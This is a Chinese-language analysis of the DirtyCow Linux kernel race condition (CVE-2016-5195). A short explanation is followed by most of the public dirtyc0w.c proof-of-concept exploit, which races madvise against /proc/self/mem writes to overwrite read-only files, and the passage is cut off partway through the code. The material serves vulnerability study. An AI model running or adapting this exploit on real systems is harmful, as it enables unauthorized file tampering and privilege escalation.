DirtyCow CVE-2016-5195分析

概述

DirtyCow漏洞算是2016年linux社区一件大事情了，通过此漏洞，非授权用户可以写入任意文件，进一步提升权限。漏洞触发简单，涉及众多的linux版本和平台（linux2.6.22及其以上，涉及redhat，ubuntu，suse等多多平台）。
简单来说，CVE-2016-5195漏洞原理是linux内核内存子系统在处理私有的只读存储映射时，触发里面的竞争条件导致获取文件可写入权限，从而可以进一步获取更大的权限。

触发

触发代码：https://github.com/dirtycow/dirtycow.github.io/blob/master/dirtyc0w.c

/*
####################### dirtyc0w.c #######################
$ sudo -s
# echo this is not a test > foo
# chmod 0404 foo
$ ls -lah foo
-r-----r-- 1 root root 19 Oct 20 15:23 foo
$ cat foo
this is not a test
$ gcc -lpthread dirtyc0w.c -o dirtyc0w
$ ./dirtyc0w foo m00000000000000000
mmap 56123000
madvise 0
procselfmem 1800000000
$ cat foo
m00000000000000000
####################### dirtyc0w.c #######################
*/
#include <stdio.h>
#include <sys/mman.h>
#include <fcntl.h>
#include <pthread.h>
#include <string.h>

void *map;
int f;
struct stat st;
char *name;

void *madviseThread(void *arg)
{
  char *str;
  str=(char*)arg;
  int i,c=0;
  for(i=0;i<100000000;i++)
  {
/*
You have to race madvise(MADV_DONTNEED) :: https://access.redhat.com/secu ... 06661
> This is achieved by racing the madvise(MADV_DONTNEED) system call
> while having the page of the executable mmapped in memory.
*/
    c+=madvise(map,100,MADV_DONTNEED);
  }
  printf("madvise %d\n\n",c);
}

void *procselfmemThread(void *arg)
{
  char *str;
  str=(char*)arg;
/*
You have